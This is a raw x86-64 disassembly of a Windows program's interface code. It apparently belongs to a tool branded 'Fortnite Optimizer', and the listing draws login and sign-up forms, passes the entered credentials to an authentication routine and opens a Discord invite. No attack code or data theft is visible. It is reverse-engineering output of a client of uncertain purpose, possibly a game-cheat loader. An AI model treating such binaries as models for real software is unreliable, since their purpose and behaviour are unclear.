cvttss2si r8d, xmm0
movd xmm1, dword [0x1401e19b8]
cvtdq2ps xmm1, xmm1
addss xmm1, dword [rcx + 0x18]
cvttss2si edx, xmm1
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 0x226
mov r9d, 0x320
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp], 0
mov r10, qword [0x1401e17e0]
xor r8d, r8d
lea rdx, [rbp]
mov rcx, qword [r10 + 0x3ed0]
call fcn.14000fcd0
movss xmm4, dword [r10 + 0x18]
mulss xmm4, dword [0x140116550]
movss dword [0x1401e1da8], xmm4
lea rcx, [0x1401e0600]
call fcn.140003c40
movaps xmm14, xmm6
shufps xmm14, xmm14, 0x55
movsd qword [rbp + 0x318], xmm6
movaps xmm12, xmm14
addss xmm12, dword [0x140116640]
movss xmm13, dword [rbp + 0x318]
movaps xmm0, xmm13
addss xmm0, dword [0x14011666c]
movss dword [rbp + 8], xmm0
movss dword [rbp + 0xc], xmm12
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x140116588]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 8]
lea rdx, [rbp + 0x318]
mov rcx, rdi
call fcn.140025640
movss xmm0, dword [0x1401e24ec]
movaps xmm1, xmm0
addss xmm1, dword [0x140116488]
subss xmm1, xmm0
mulss xmm1, dword [0x1401e1da8]
addss xmm1, xmm0
movss dword [0x1401e24ec], xmm1
call fcn.14003d780
movss xmm3, dword [0x1401e1da8]
mov ecx, dword [0x1401e2430]
cmp ecx, 3
jne 0x14003fb27
movss xmm1, dword [0x140116630]
jmp 0x14003fb2b
movaps xmm1, xmm10
subss xmm1, dword [0x1401e24f0]
mulss xmm1, xmm3
addss xmm1, dword [0x1401e24f0]
movss dword [0x1401e24f0], xmm1
mov eax, dword [0x1401e2100]
cmp eax, 2
jne 0x14003fb58
movaps xmm2, xmm10
jmp 0x14003fb60
movss xmm2, dword [0x14011669c]
subss xmm2, dword [0x1401e05c8]
mulss xmm2, xmm3
addss xmm2, dword [0x1401e05c8]
movss dword [0x1401e05c8], xmm2
comiss xmm1, dword [0x14011662c]
jbe 0x14003fb90
mov eax, 2
mov dword [0x1401e2100], eax
test eax, eax
jne 0x14004105f
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x14003fba9
movaps xmm1, xmm11
jmp 0x14003fbad
movaps xmm1, xmm10
subss xmm1, dword [0x1401e2104]
mulss xmm1, xmm3
addss xmm1, dword [0x1401e2104]
movss dword [0x1401e2104], xmm1
test al, al
jne 0x14003fbd3
movaps xmm1, xmm11
jmp 0x14003fbe9
cmp ecx, 3
jne 0x14003fbe5
movss xmm2, dword [0x140116624]
movaps xmm1, xmm2
jmp 0x14003fbf1
movaps xmm1, xmm10
movss xmm2, dword [0x140116624]
subss xmm1, dword [0x1401e1dd8]
mulss xmm1, xmm3
addss xmm1, dword [0x1401e1dd8]
movss dword [0x1401e1dd8], xmm1
cmp ecx, 3
je 0x14003fc16
movaps xmm2, xmm10
subss xmm2, dword [0x1401e2108]
mulss xmm2, xmm3
addss xmm2, dword [0x1401e2108]
movss dword [0x1401e2108], xmm2
cmp ecx, 2
jne 0x14003fcd9
mov edx, ebx
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401e2b70], eax
jle 0x14003fc81
lea rcx, [0x1401e2b70]
call fcn.1400ebef8
cmp dword [0x1401e2b70], 0xffffffff
jne 0x14003fc81
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401e24e8], eax
lea rcx, [0x1401e2b70]
call fcn.1400ebe8c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1401e24e8]
cmp eax, 0x1388
jbe 0x14003fcd1
movups xmm0, xmmword [0x1401e0640]
movups xmmword [0x1401e2498], xmm0
movups xmm1, xmmword [0x1401e0630]
movups xmmword [0x1401e24a8], xmm1
movups xmm0, xmmword [0x1401e05e0]
movups xmmword [0x1401e24b8], xmm0
mov dword [0x1401e2430], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401e24e8], eax
movss xmm2, dword [0x1401e2108]
cmp dword [0x1401e1888], 0
jne 0x14003fce8
movaps xmm1, xmm8
jmp 0x14003fcec
movaps xmm1, xmm10
movss xmm0, dword [0x1401e1d60]
subss xmm1, xmm0
mulss xmm1, dword [0x1401e1da8]
addss xmm0, xmm1
movss dword [0x1401e1d60], xmm0
mov dword [rbp - 0x50], 0x3f800000
mov dword [rbp - 0x4c], 0x3f800000
mov dword [rbp - 0x48], 0x3f800000
movss dword [rbp - 0x44], xmm0
mov dword [rbp - 0x80], 0x3f800000
mov dword [rbp - 0x7c], 0x3f800000
mov qword [rbp - 0x78], 0
movaps xmm9, xmm13
addss xmm9, dword [0x1401165fc]
movaps xmm0, xmm9
subss xmm0, xmm2
movss dword [rsp + 0x70], xmm0
movaps xmm1, xmm12
subss xmm1, xmm10
movss dword [rsp + 0x74], xmm1
movaps xmm6, xmm13
subss xmm6, dword [0x140116558]
movaps xmm0, xmm6
subss xmm0, xmm2
movss dword [rsp + 0x78], xmm0
movaps xmm11, xmm14
subss xmm11, xmm10
movaps xmm0, xmm11
subss xmm0, xmm10
movss dword [rsp + 0x7c], xmm0
lea rcx, [rbp - 0x50]
call fcn.140003c40
mov dword [rsp + 0x40], r14d
movss xmm7, dword [0x140116698]
movss dword [rsp + 0x38], xmm7
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov rdx, qword [0x1401e19c8]
mov rcx, rdi
call fcn.140025be0
cmp dword [0x1401e1888], 1
jne 0x14003fdf1
movaps xmm0, xmm8
jmp 0x14003fdf5
movaps xmm0, xmm10
subss xmm0, dword [0x1401e1d64]
mulss xmm0, dword [0x1401e1da8]
addss xmm0, dword [0x1401e1d64]
movss dword [0x1401e1d64], xmm0
movss dword [rbp - 0x44], xmm0
movaps xmm0, xmm9
subss xmm0, dword [0x1401e2108]
movss dword [rsp + 0x70], xmm0
movaps xmm0, xmm6
subss xmm0, dword [0x1401e2108]
movss dword [rsp + 0x78], xmm0
lea rcx, [rbp - 0x50]
call fcn.140003c40
mov dword [rsp + 0x40], r14d
movss dword [rsp + 0x38], xmm7
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov rdx, qword [0x1401e19d0]
mov rcx, rdi
call fcn.140025be0
cmp dword [0x1401e1888], 2
jne 0x14003fe8f
movaps xmm0, xmm8
jmp 0x14003fe93
movaps xmm0, xmm10
subss xmm0, dword [0x1401e1d68]
mulss xmm0, dword [0x1401e1da8]
addss xmm0, dword [0x1401e1d68]
movss dword [0x1401e1d68], xmm0
movss dword [rbp - 0x44], xmm0
movaps xmm0, xmm9
subss xmm0, dword [0x1401e2108]
movss dword [rsp + 0x70], xmm0
movaps xmm0, xmm6
subss xmm0, dword [0x1401e2108]
movss dword [rsp + 0x78], xmm0
lea rcx, [rbp - 0x50]
call fcn.140003c40
mov dword [rsp + 0x40], r14d
movss dword [rsp + 0x38], xmm7
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov rdx, qword [0x1401e19d8]
mov rcx, rdi
call fcn.140025be0
cmp dword [0x1401e1888], 3
jne 0x14003ff2d
movaps xmm0, xmm8
jmp 0x14003ff31
movaps xmm0, xmm10
subss xmm0, dword [0x1401e1d6c]
mulss xmm0, dword [0x1401e1da8]
addss xmm0, dword [0x1401e1d6c]
movss dword [0x1401e1d6c], xmm0
movss dword [rbp - 0x44], xmm0
lea rcx, [rbp - 0x50]
call fcn.140003c40
movaps xmm0, xmm9
subss xmm0, dword [0x1401e2108]
movss dword [rsp + 0x70], xmm0
subss xmm6, dword [0x1401e2108]
movss dword [rsp + 0x78], xmm6
mov dword [rsp + 0x40], r14d
movss dword [rsp + 0x38], xmm7
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov rdx, qword [0x1401e19e0]
mov rcx, rdi
call fcn.140025be0
movss xmm8, dword [0x1401e0600]
movss dword [rbp + 0x168], xmm8
movss xmm7, dword [0x1401e0604]
movss dword [rbp + 0x16c], xmm7
movss xmm6, dword [0x1401e0608]
movss dword [rbp + 0x170], xmm6
mov dword [rbp + 0x174], 0
lea rcx, [rbp + 0x168]
call fcn.140003c40
mov r9d, eax
lea rcx, [0x1401e0600]
call fcn.140003c40
mov r8d, eax
movss dword [rbp + 0x178], xmm8
movss dword [rbp + 0x17c], xmm7
movss dword [rbp + 0x180], xmm6
mov dword [rbp + 0x184], 0
lea rcx, [rbp + 0x178]
call fcn.140003c40
movss xmm0, dword [0x1401165fc]
subss xmm0, dword [0x1401e2108]
addss xmm0, xmm13
movss dword [rbp + 0x10], xmm0
movss dword [rbp + 0x14], xmm12
movss xmm1, dword [0x140116560]
subss xmm1, dword [0x1401e2108]
movaps xmm0, xmm13
subss xmm0, xmm1
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm11
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
mov r9d, eax
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x18]
mov rcx, rdi
call fcn.1400257f0
mov dword [rbp + 0x188], 0x3f800000
mov dword [rbp + 0x18c], 0x3f800000
mov dword [rbp + 0x190], 0x3f800000
movaps xmm0, xmm14
addss xmm0, dword [0x140116584]
subss xmm0, xmm10
movss dword [rbp + 0x2c], xmm0
mov dword [rbp + 0x198], 0x3f800000
mov dword [rbp + 0x19c], 0x3f800000
mov dword [rbp + 0x1a0], 0x3f800000
subss xmm9, xmm13
mulss xmm9, xmm15
addss xmm9, xmm13
movaps xmm0, xmm14
addss xmm0, dword [0x1401165b8]
subss xmm0, xmm10
movss dword [rbp + 0x3c], xmm0
lea rbx, [0x1401e2b60]
movss xmm11, dword [0x140116694]
movss xmm12, dword [0x1401164f4]
movss xmm7, dword [0x140116688]
movss xmm6, dword [0x1401164fc]
lea r13, str.Fortnite_Optimizer
lea r15, [0x140115ebc]
lea r12, [0x140115ebd]
nop dword [rax]
cmp r14d, dword [0x1401e1888]
jne 0x14004016e
movaps xmm1, xmm6
jmp 0x140040172
movaps xmm1, xmm10
subss xmm1, dword [rbx]
mulss xmm1, dword [0x1401e1da8]
addss xmm1, dword [rbx]
movss dword [rbx], xmm1
mov rcx, qword [0x1401e1db8]
call fcn.14000fb90
movss xmm0, dword [rbx]
movss dword [rbp + 0x194], xmm0
lea rcx, [rbp + 0x188]
call fcn.140003c40
mov esi, eax
mov rdx, qword [0x1401e17e0]
mov rcx, qword [rdx + 0x3c18]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], r15
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm7
movss xmm2, dword [rdx + 0x3c20]
lea rdx, [rbp + 0x20]
call fcn.14002cb80
movss xmm0, dword [rbp + 0x20]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x20], xmm1
mulss xmm1, xmm15
movaps xmm0, xmm9
subss xmm0, xmm1
subss xmm0, dword [0x1401e2108]
movss dword [rbp + 0x28], xmm0
test esi, 0xff000000
je 0x140040266
mov rax, qword [rdi + 0x38]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp - 0x40], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x28]
movss xmm2, dword [rax + 0x10]
mov rdx, rdi
mov rcx, qword [rax + 8]
call fcn.14002cda0
call fcn.14000fc30
mov rcx, qword [0x1401e2b78]
call fcn.14000fb90
movss xmm0, dword [rbx]
movss dword [rbp + 0x1a4], xmm0
lea rcx, [rbp + 0x198]
call fcn.140003c40
mov esi, eax
mov rdx, qword [0x1401e17e0]
mov rcx, qword [rdx + 0x3c18]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], r13
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm7
movss xmm2, dword [rdx + 0x3c20]
lea rdx, [rbp + 0x30]
call fcn.14002cb80
movss xmm0, dword [rbp + 0x30]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x30], xmm1
mulss xmm1, xmm15
movaps xmm0, xmm9
subss xmm0, xmm1
subss xmm0, dword [0x1401e2108]
movss dword [rbp + 0x38], xmm0
test esi, 0xff000000
je 0x140040352
mov rax, qword [rdi + 0x38]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp - 0x40], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
lea rcx, [0x140116272]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], r13
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x38]
movss xmm2, dword [rax + 0x10]
mov rdx, rdi
mov rcx, qword [rax + 8]
call fcn.14002cda0
call fcn.14000fc30
inc r14d
add rbx, 4
lea rax, [0x1401e2b70]
cmp rbx, rax
jl 0x140040160
mov r15d, 1
mov r12d, dword [rbp + 0x300]
lea r13, [0x1401e1c68]
movss xmm2, dword [0x1401e1dd8]
movss xmm9, dword [0x140116618]
movss xmm8, dword [0x1401165d4]
movss xmm6, dword [0x140116614]
comiss xmm9, xmm2
jbe 0x1400408cb
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r15b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm2, xmm6
addss xmm0, xmm2
movss dword [rax + 0xf8], xmm0
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], r15b
call fcn.140012b00
mov dword [rbp + 0x40], 0x43af0000
mov dword [rbp + 0x44], 0x42480000
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea r8, [0x1401e1910]
lea rdx, [0x140116274]
lea rcx, str.Login
call fcn.140037a60
mov dword [rbp + 0x48], 0x43af0000
mov dword [rbp + 0x4c], 0x42480000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea rsi, [0x1401e1890]
mov r8, rsi
lea rdx, [0x140116280]
lea rcx, str.Password
call fcn.140037a60
mov dword [rbp + 0x50], 0x43af0000
mov dword [rbp + 0x54], 0x42480000
lea r9, [0x140116294]
lea rdx, [rbp + 0x50]
lea rcx, str.Sign_in
call fcn.140033d40
test al, al
je 0x14004079f
lea rax, [rbp - 0x40]
mov qword [rbp + 0x318], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rsi + rbx], r14b
jne 0x1400404f0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140041ea5
cmp rbx, 0xf
ja 0x140040537
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x40], r14b
jmp 0x1400405cf
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140040556
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140040582
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
je 0x1400405a9
cmp rcx, 0x1000
jb 0x1400405a1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140041e93
mov rcx, rax
call fcn.1400ec210
test rax, rax
je 0x140041de6
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400405a9
call fcn.1400ec210
mov r14, rax
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rsi
mov r8, rbx
lea rdx, [0x1401e1890]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov rbx, 0xffffffffffffffff
lea rcx, [0x1401e1910]
nop dword [rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x1400405f0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140041e9f
cmp rbx, 0xf
ja 0x140040637
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x70], 0
jmp 0x1400406cf
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140040656
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140040682
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
je 0x1400406a9
cmp rcx, 0x1000
jb 0x1400406a1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140041e99
mov rcx, rax
call fcn.1400ec210
test rax, rax
je 0x140041ded
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400406a9
call fcn.1400ec210
mov r14, rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rsi
mov r8, rbx
lea rdx, [0x1401e1910]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x70]
lea rcx, [0x1401e1a50]
call fcn.14005b500
cmp byte [0x1401e1c60], 0
jne 0x140040754
lea rdx, str.Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140042750
mov rdx, r13
cmp qword [0x1401e1c80], 0xf
cmova rdx, qword [0x1401e1c68]
mov r8, qword [0x1401e1c78]
mov rcx, rax
call fcn.140042be0
lea rdx, [0x140042930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, r13
cmp qword [0x1401e1c80], 0xf
cmova rax, qword [0x1401e1c68]
mov qword [0x1401e1878], rax
lea rax, [0x140115f80]
jmp 0x140040773
lea rax, str.Succes_autorization_with_login
mov qword [0x1401e1878], rax
lea rax, [0x140115f84]
mov dword [0x1401e2430], 3
mov dword [0x1401e1d78], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d70], r14d
mov qword [0x1401e1870], rax
lea rdx, str.SIGN_UP
lea rcx, str._No_account_
call fcn.14003c5b0
test al, al
je 0x1400407bd
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm2, dword [rax + 0x1c]
subss xmm2, dword [rax + 0x80]
addss xmm2, dword [0x140116620]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
movss xmm0, dword [0x1401e1dd8]
addss xmm0, xmm6
addss xmm1, xmm0
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm2
mov byte [rax + 0x139], 1
call fcn.140012b00
mov dword [rbp + 0x58], 0x432a0000
mov dword [rbp + 0x5c], 0x42480000
lea r9, [0x14011008e]
lea rdx, [rbp + 0x58]
lea rcx, str.Discord
call fcn.140033d40
test al, al
je 0x14004086b
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.https:__discord.com_invite_vision_project
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140012930
mov dword [rbp + 0x60], 0x432a0000
mov dword [rbp + 0x64], 0x42480000
lea r9, [0x14011008e]
lea rdx, [rbp + 0x60]
lea rcx, [0x140116344]
call fcn.140033d40
test al, al
je 0x1400408bf
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.https:__discord.com_invite_vision_project
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140012c30
call fcn.140012c30
jmp 0x1400408ce
xor r14d, r14d
movss xmm2, dword [0x1401e2104]
comiss xmm9, xmm2
jbe 0x140040fae
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm2, xmm6
addss xmm0, xmm2
movss dword [rax + 0xf8], xmm0
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], 1
call fcn.140012b00
mov dword [rbp + 0x68], 0x43af0000
mov dword [rbp + 0x6c], 0x42480000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea r8, [0x1401e1910]
lea rdx, [0x140116274]
lea rcx, str.Login
call fcn.140037a60
mov dword [rbp + 0x70], 0x43af0000
mov dword [rbp + 0x74], 0x42480000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea rsi, [0x1401e1890]
mov r8, rsi
lea rdx, [0x140116280]
lea rcx, str.Password
call fcn.140037a60
mov dword [rbp + 0x78], 0x43af0000
mov dword [rbp + 0x7c], 0x42480000
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
lea r8, [0x1401e17f0]
lea rdx, [0x1401103bc]
lea rcx, [0x140116348]
call fcn.140037a60
mov dword [rbp + 0x80], 0x43af0000
mov dword [rbp + 0x84], 0x42480000
lea r9, [0x140116294]
lea rdx, [rbp + 0x80]
lea rcx, str.Sign_up
call fcn.140033d40
test al, al
je 0x140040e9a
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
mov qword [rbp + 0x330], r14
mov qword [rbp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x320], 0
lea rax, [rbp - 0x70]
mov qword [rbp + 0x318], rax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov rbx, 0xffffffffffffffff
lea rcx, [0x1401e17f0]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140040aa0
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140041e8d
cmp rbx, 0xf
ja 0x140040ae7
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x70], 0
jmp 0x140040b86
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140040b06
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140040b32
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140040b59
cmp rcx, 0x1000
jb 0x140040b51
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140041eab
mov rcx, rax
call fcn.1400ec210
test rax, rax
je 0x140041df4
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140040b59
call fcn.1400ec210
mov r14, rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rsi
mov r8, rbx
lea rdx, [0x1401e17f0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
lea rsi, [0x1401e1890]
lea rax, [rbp + 0x148]
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], r14
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140040bb3
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140041ec3
cmp rbx, 0xf
ja 0x140040c06
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x148]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x148], 0
jmp 0x140040ca7
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140040c25
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140040c51
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140040c78
cmp rcx, 0x1000
jb 0x140040c70
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140041eb1
mov rcx, rax
call fcn.1400ec210
test rax, rax
je 0x140041dfb
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140040c78
call fcn.1400ec210
mov r14, rax
mov qword [rbp + 0x148], r14
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], rsi
mov r8, rbx
lea rdx, [0x1401e1890]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
mov rbx, 0xffffffffffffffff
lea rcx, [0x1401e1910]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140040cc4
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140041ebd
cmp rbx, 0xf
ja 0x140040d0b
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov r8, rbx
mov rdx, rcx
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x20], 0
jmp 0x140040da3
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140040d2a
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140040d56
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140040d7d
cmp rcx, 0x1000
jb 0x140040d75
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140041eb7
mov rcx, rax
call fcn.1400ec210
test rax, rax
je 0x140041e02
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140040d7d
call fcn.1400ec210
mov r14, rax
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rsi
mov r8, rbx
lea rdx, [0x1401e1910]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
xor r14d, r14d
lea rax, [rbp + 0x320]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x70]
lea r8, [rbp + 0x148]
lea rdx, [rbp - 0x20]
lea rcx, [0x1401e1a50]
call fcn.14005eae0
cmp byte [0x1401e1c60], 0
jne 0x140040e6b
lea rdx, str.Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140042750
mov rdx, r13
cmp qword [0x1401e1c80], 0xf
cmova rdx, qword [0x1401e1c68]
